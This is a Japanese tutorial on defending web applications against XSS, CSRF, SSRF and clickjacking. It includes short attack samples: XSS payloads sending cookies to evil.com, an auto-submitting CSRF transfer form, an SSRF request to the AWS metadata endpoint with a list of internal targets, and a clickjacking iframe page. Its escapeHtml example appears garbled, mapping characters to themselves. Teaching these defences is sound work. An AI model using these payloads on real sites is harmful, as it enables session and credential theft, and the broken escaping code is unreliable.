Webセキュリティ攻防実践:XSS、CSRF、SSRFとクリックジャッキングの防御体系
前端工程(更新: 2026年6月2日)
Web セキュリティ脅威の全体像
| 脅威 | 影響範囲 | 深刻度 | 防御の複雑さ |
|---|---|---|---|
| XSS | データ窃取、セッションハイジャック | 高 | 中 |
| CSRF | 操作の偽造、金銭的損失 | 高 | 低 |
| SSRF | 内部ネットワーク探索、サービス攻撃 | 高 | 中 |
| クリックジャッキング | 操作の誘導 | 中 | 低 |
一、XSS(クロスサイトスクリプティング)
3種類の XSS
| タイプ | 注入ポイント | 持続性 | 典型的なシナリオ |
|---|---|---|---|
| 格納型 | サーバーサイドストレージ | 持続的 | コメント欄、ユーザーニックネーム |
| 反射型 | URLパラメータ | 一時的 | 検索結果、エラーメッセージ |
| DOM型 | クライアントサイドJS | 一時的 | URLハッシュ、document.write |
格納型 XSS 攻撃の例
<!-- 攻撃者がコメント欄に注入 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
<!-- より巧妙な img タグ -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- または SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">
防御その1:出力エンコーディング
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (c) => map[c]);
}
// 使用例
element.innerHTML = escapeHtml(userInput);
防御その2:CSP(Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
| ディレクティブ | 意味 | 例 |
|---|---|---|
default-src |
デフォルトポリシー | 'self' |
script-src |
JS ソース | 'self' 'nonce-abc123' |
style-src |
CSS ソース | 'self' 'unsafe-inline' |
img-src |
画像ソース | 'self' data: https: |
connect-src |
fetch/XHR ソース | 'self' https://api.example.com |
frame-ancestors |
埋め込みソース | 'none'(クリックジャッキング防止) |
防御その3:HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly は JS からの document.cookie による読み取りを防ぎ、XSS が成功してもセッション Cookie を盗めません。
防御その4:Trusted Types
// Trusted Types API を有効化
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
// これ以降、すべての innerHTML 代入はポリシーを経由する必要がある
element.innerHTML = userInput; // ポリシーがないとエラーがスローされる
二、CSRF(クロスサイトリクエストフォージェリ)
攻撃原理
<!-- 攻撃者サイト上の隠しフォーム -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
ユーザーは既に銀行サイトにログイン済み → Cookie が自動送信 → 偽造リクエストが成功。
防御その1:SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
| 値 | クロスサイトリクエストで Cookie 送信 | 利用シーン |
|---|---|---|
Strict |
送信しない | 最も安全、外部リンクからは Cookie なし |
Lax |
GET リクエストで送信 | デフォルト、安全性とUXのバランス |
None |
常に送信 | Secure 必須、サードパーティシナリオ |
防御その2:CSRF トークン
// サーバーがトークンを生成
app.use((req, res, next) => {
req.csrfToken = crypto.randomBytes(32).toString('hex');
res.locals.csrfToken = req.csrfToken;
next();
});
// フォームに埋め込み
// <input type="hidden" name="_csrf" value="${csrfToken}">
// サーバーサイド検証
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.csrfToken) {
return res.status(403).send('CSRF token mismatch');
}
// 送金処理
});
防御その3:ダブル Cookie 検証
// フロントエンド:Cookie から CSRF トークンを読み取り、リクエストヘッダーに入れる
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': getCookie('csrfToken'),
},
body: JSON.stringify(data),
});
防御その4:Origin/Referer チェック
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer;
if (origin && !origin.startsWith('https://example.com')) {
return res.status(403).send('Invalid origin');
}
next();
});
三、SSRF(サーバーサイドリクエストフォージェリ)
攻撃例
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
169.254.169.254 は AWS メタデータサービス — 攻撃者は IAM 認証情報を取得可能。
一般的な内部ネットワークターゲット
| アドレス | サービス | 取得可能な情報 |
|---|---|---|
169.254.169.254 |
AWS メタデータ | IAM 認証情報、インスタンス情報 |
100.100.100.200 |
Alibaba Cloud メタデータ | セキュリティ認証情報 |
metadata.google.internal |
GCP メタデータ | サービスアカウントトークン |
127.0.0.1:6379 |
Redis | データ、設定 |
127.0.0.1:9200 |
Elasticsearch | データ、クラスタ情報 |
防御その1:URL ホワイトリスト
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
function validateUrl(inputUrl) {
const url = new URL(inputUrl);
if (!ALLOWED_DOMAINS.includes(url.hostname)) {
throw new Error('Domain not allowed');
}
if (url.protocol !== 'https:') {
throw new Error('Only HTTPS allowed');
}
// 特殊 IP をブロック
if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
throw new Error('Private IP not allowed');
}
return url;
}
防御その2:DNS リバインディング対策
// 先に DNS を解決し、IP を検証してからリクエストを送信
async function safeFetch(inputUrl) {
const url = new URL(inputUrl);
const addresses = await dns.promises.resolve4(url.hostname);
for (const ip of addresses) {
if (isPrivateIP(ip)) throw new Error('Private IP resolved');
}
// 解決済み IP を直接使用して DNS リバインディングを回避
return fetch(`https://${addresses[0]}${url.pathname}`, {
headers: { Host: url.hostname },
});
}
四、クリックジャッキング
攻撃原理
<!-- 攻撃者サイト -->
<style>
iframe {
position: absolute;
top: 100px;
left: 200px;
opacity: 0.01; /* ほぼ不可視 */
}
.decoy-button {
position: absolute;
top: 100px;
left: 200px;
}
</style>
<!-- おとりボタン -->
<button class="decoy-button">クリックしてクーポンを受け取る</button>
<!-- 透明なターゲットサイト iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>
ユーザーは「クーポンを受け取る」をクリックしたつもりが、実際には銀行の送金ボタンをクリックしています。
防御その1:X-Frame-Options
X-Frame-Options: DENY
| 値 | 意味 |
|---|---|
DENY |
どのページにも埋め込めない |
SAMEORIGIN |
同一オリジンページのみ埋め込み可能 |
防御その2:CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;
frame-ancestors は X-Frame-Options の現代的代替で、ホワイトリストをサポートします。
防御その3:JS フレーム破壊
if (window.top !== window.self) {
window.top.location = window.self.location;
}
五、多層防御体系
第1層:入力検証 —— サーバーサイドですべての入力を検証
第2層:出力エンコーディング —— コンテキストに応じたエスケープ
第3層:CSP ポリシー —— リソース読み込みを制限
第4層:Cookie セキュリティ —— HttpOnly + SameSite + Secure
第5層:CSRF トークン —— リクエスト元を検証
第6層:レート制限 —— リクエスト頻度を制限
第7層:WAF —— Webアプリケーションファイアウォール
セキュリティヘッダーの完全設定
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持